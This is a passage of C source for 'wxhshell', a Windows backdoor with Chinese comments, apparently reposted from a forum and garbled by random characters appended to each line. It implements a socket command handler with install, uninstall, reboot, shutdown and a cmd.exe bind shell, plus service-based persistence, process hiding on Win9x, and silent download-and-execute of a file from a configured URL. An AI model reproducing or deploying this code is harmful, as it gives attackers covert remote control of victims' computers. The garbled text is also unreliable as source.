  case '?': { aNNRw(0/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y'I m/{9U  
    break; %#eQN ~  
  } A'b$X1h  
  // 安装 Kg2Du'WQ^  
  case 'i': { c00rq ~<K  
    if(Install()) vCSC:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,|>>z#Rr(n  
    else JtxVF !v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EzjK{v">  
    break; '@h  
    } 1_v\G   
  // 卸载 _z{9V7n4  
  case 'r': { q(^iT~}  
    if(Uninstall()) _KxR~k^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EG$-D@o\I  
    else (_>Su QK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kg"eS`-  
    break; c$L1aZo  
    } gO "G/  
  // 显示 wxhshell 所在路径 ^_DwuY  
  case 'p': { Zv=pS (9  
    char svExeFile[MAX_PATH]; "VSx?74q  
    strcpy(svExeFile,"\n\r"); Ak('4j!*}^  
      strcat(svExeFile,ExeFile); YM'4=BlJHv  
        send(wsh,svExeFile,strlen(svExeFile),0); CI$z+ zN  
    break; yt="kZ  
    } .Y?]r6CC/  
  // 重启 2;s[m3  
  case 'b': { g<M!]0OK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nXoDI1<[  
    if(Boot(REBOOT)) 5;p|iT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S7nx4c2xK~  
    else { q oi21mCn  
    closesocket(wsh); 0H^*VUyW/  
    ExitThread(0); Fb8d= Zc  
    } hhZ%{lqL  
    break; <bSPKTKL  
    } aGi`(|shW  
  // 关机 'ROz|iJ  
  case 'd': { ?Z?(ky!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x4L3Z__  
    if(Boot(SHUTDOWN)) *.k*JsU~B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %X %zK1  
    else { ~&qvS  
    closesocket(wsh); su1fsoL0  
    ExitThread(0); Dv/7 w[F  
    } U.P1KRY|=  
    break; (PGw{_  
    } S2*sh2-&6  
  // 获取shell ckY#oRQ1  
  case 's': { Ew| Z<(  
    CmdShell(wsh); GWPBP-)0  
    closesocket(wsh); bo\Ah/.  
    ExitThread(0); $`/UG0rdC  
    break; w?|qKO  
  } }8aqSD<:  
  // 退出 SE^l`.U@  
  case 'x': { :?g+\:`/0j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,@?9H ~\  
    CloseIt(wsh); };9s8VZE  
    break; , h'Q  
    } iCg%$h  
  // 离开 e"eIQI|N  
  case 'q': { :}Yk0*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j<0 ;JAL  
    closesocket(wsh); {2P18&=  
    WSACleanup(); q mFbq<&  
    exit(1);  .nrbd#i-  
    break; Z.Z;p/4F  
        } 6LGl]jHf  
  } !ae?EJm"  
  } 4}/gV)  
f)z(9JJL  
  // 提示信息 EwFq1~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `P !idg*  
} Aixe?A_x  
  } Q. O4R_H  
(Q% @]  
  return; O$m &!J  
} GAYn*'<  
K&NH?  
// shell模块句柄 ;)CN=J!  
int CmdShell(SOCKET sock) sfn^R+x4,9  
{ O(8CrKYY  
STARTUPINFO si; 0q-lyVZ^X  
ZeroMemory(&si,sizeof(si)); C{uT1`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }kvix{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xlwf @XW  
PROCESS_INFORMATION ProcessInfo; T:{r*zLSN  
char cmdline[]="cmd"; [(#)9/3,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (P-^ PNz&  
  return 0; 'hBnV xd&  
} !JrKTB%  
M`'DD-Q  
// 自身启动模式 8Z9>h:c1  
int StartFromService(void) ez[x8M>  
{ {._'Q[  
typedef struct _%D7D~2r|  
{ e8xq`:4Y  
  DWORD ExitStatus; [[AO6.Z  
  DWORD PebBaseAddress; B47I?~{  
  DWORD AffinityMask; #vyf*jPr  
  DWORD BasePriority; cw 2!V@  
  ULONG UniqueProcessId; 54>0Dv??H  
  ULONG InheritedFromUniqueProcessId; O]=jI  
}   PROCESS_BASIC_INFORMATION; Fovah4q%V  
bs)wxU`Q*  
PROCNTQSIP NtQueryInformationProcess; \l /}` w  
-sJD:G,%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q&v~9~^}d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !10/M  
8o%Vn'^t  
  HANDLE             hProcess; {X(nn.GpC  
  PROCESS_BASIC_INFORMATION pbi; v8yCf7+"  
FD 8Lk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vMou`[\WlJ  
  if(NULL == hInst ) return 0; W)Y`8&,  
ANw1P{9*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \z!lw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m6BUKX\m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :+jg311}  
`&q+ f+z  
  if (!NtQueryInformationProcess) return 0; N^[ F+y  
> VIFQ\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2ak]&ll+h  
  if(!hProcess) return 0; k $^/$N  
95@u|#n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q5e(~@(z<`  
%+j/nA1%S  
  CloseHandle(hProcess); N)Q_z9b=  
U3:|!CC)T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F=e;[uK\  
if(hProcess==NULL) return 0; -Z ,r\9d  
+yfUB8Xw  
HMODULE hMod; UG`~RO  
char procName[255]; qF bj~ec  
unsigned long cbNeeded; :3Q:pKg  
` wEX;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IW<rmP=R&  
&M?b 08  
  CloseHandle(hProcess); EEZ~Bs}d  
h]&  
if(strstr(procName,"services")) return 1; // 以服务启动 Qv ~@  
b; C}=gg  
  return 0; // 注册表启动 4lX_2QT]E  
} unn2I|XH  
2H9hN4N  
// 主模块 d<j`=QH  
int StartWxhshell(LPSTR lpCmdLine) Wgte.K> /  
{ :~"m yn,  
  SOCKET wsl; d"-I^|[OM  
BOOL val=TRUE; Ij4q &i"  
  int port=0; Posz|u<x  
  struct sockaddr_in door; J  Y8Rk=  
-d4 v:Jab  
  if(wscfg.ws_autoins) Install(); `H:`JBe=+[  
u,8)M' UU  
port=atoi(lpCmdLine); Aj cKz  
nn:'<6"oV  
if(port<=0) port=wscfg.ws_port; dX1jn;7  
SceHdx(]  
  WSADATA data; +?"F=.SZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KQ]sUNH  
ZXb{-b?[`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s;oe Qa}TB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hv#$Zo<  
  door.sin_family = AF_INET; Ar >JQ@0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %zGv+H?  
  door.sin_port = htons(port); ~Oq _lM  
y$-@|M$GG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ? eX$Wc{  
closesocket(wsl); AeEdqX)  
return 1; \)uA:v  
} 2=K|kp5  
Qm3F=*)d  
  if(listen(wsl,2) == INVALID_SOCKET) { d]sqj\Q57  
closesocket(wsl); -n|>U:  
return 1; c$ib-  
} o[Qb/ 7  
  Wxhshell(wsl); GP4!t~"1  
  WSACleanup(); r?[[.zm"7  
4bL *7bA  
return 0; *\'t$se+  
uQ_C<ii"W  
} Ip7#${f5M  
"!vY{9,  
// 以NT服务方式启动 n!Y_SPg   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v+{{j|x=  
{ ELnUpmv\  
DWORD   status = 0; $k&v juB.  
  DWORD   specificError = 0xfffffff; VV1sadS:S`  
&D{!zF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZlC+DXg#S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Hm'fK$y(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "TaLvworb4  
  serviceStatus.dwWin32ExitCode     = 0; *8,W$pe3  
  serviceStatus.dwServiceSpecificExitCode = 0; B`R@%US  
  serviceStatus.dwCheckPoint       = 0; 9kWI2cLzQt  
  serviceStatus.dwWaitHint       = 0; up['<Kt+a  
L$O\fhO?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^ICSh8C  
  if (hServiceStatusHandle==0) return; h&L-G j  
|LC"1 k  
status = GetLastError(); 8k:^( kByF  
  if (status!=NO_ERROR) !$1qnsz  
{ UVl B=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,h1\PT9ULY  
    serviceStatus.dwCheckPoint       = 0; ~xY"P)(x;  
    serviceStatus.dwWaitHint       = 0; zOSUYn  
    serviceStatus.dwWin32ExitCode     = status; 1QA/ !2E  
    serviceStatus.dwServiceSpecificExitCode = specificError; xva e^gr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -7w}+iS  
    return; lbt8S.fx  
  } D1-w>Y#  
pm=O.)g4`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ag\RLJ.KD  
  serviceStatus.dwCheckPoint       = 0; RjviHd#DXn  
  serviceStatus.dwWaitHint       = 0; oh$"?N7n1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :^`j:B  
} n6Uh%rO7S|  
c3l(,5DtH  
// 处理NT服务事件,比如:启动、停止 T5}3Y3G,6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \i,H1a  
{ GFPrK9T  
switch(fdwControl)  \H>T[  
{ ,_(=w.F   
case SERVICE_CONTROL_STOP: -6-rX D  
  serviceStatus.dwWin32ExitCode = 0; Ww8U{f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )?radg  
  serviceStatus.dwCheckPoint   = 0; `_)9eGQ  
  serviceStatus.dwWaitHint     = 0; U}X'RCM  
  { JXkx!X_{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vjGJRk|XED  
  } =/a`X[9vI  
  return; b*S,8vE]  
case SERVICE_CONTROL_PAUSE: ,{:qbt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [g@qZ5I.  
  break; N e{=KdzT  
case SERVICE_CONTROL_CONTINUE: Gev\bQa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p#4*:rpq4  
  break; |=:@<0.'  
case SERVICE_CONTROL_INTERROGATE: X:`=\D  
  break; bQI :N  
}; ]7k:3"wH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~u1~%  
} t1iz5%`p}  
N)H+N g[  
// 标准应用程序主函数 DI;LhS*z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g&p(XuN  
{ $~:ZzZO  
cu5}(  
// 获取操作系统版本 (T2HUmkQ6  
OsIsNt=GetOsVer(); "Y^Fn,c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "dv\ 9O  
MwQtf(_  
  // 从命令行安装 &/^p:I  
  if(strpbrk(lpCmdLine,"iI")) Install(); sV5k@1Y  
[V?HK_~  
  // 下载执行文件 lrHN6:x(Y4  
if(wscfg.ws_downexe) { GNmP_N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Em Ut/]  
  WinExec(wscfg.ws_filenam,SW_HIDE); ] g9SUFM  
} q'H6oD`  
|j'@no_rv  
if(!OsIsNt) { DC>?e[oOz  
// 如果时win9x,隐藏进程并且设置为注册表启动 rr`_\ut  
HideProc(); >clVV6B  
StartWxhshell(lpCmdLine); +fozE?  
} T7ShE-X  
else In%FOPO  
  if(StartFromService()) r`FTiPD.C  
  // 以服务方式启动 ?$A)lWk(  
  StartServiceCtrlDispatcher(DispatchTable); S`mB1(h  
else 7`L]aRS[  
  // 普通方式启动 0hkYexX73  
  StartWxhshell(lpCmdLine); ) xV>Va8)  
9fbo  
return 0; n@kJ1ee'  
}
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只看该作者 1 发表于: 2006-10-10
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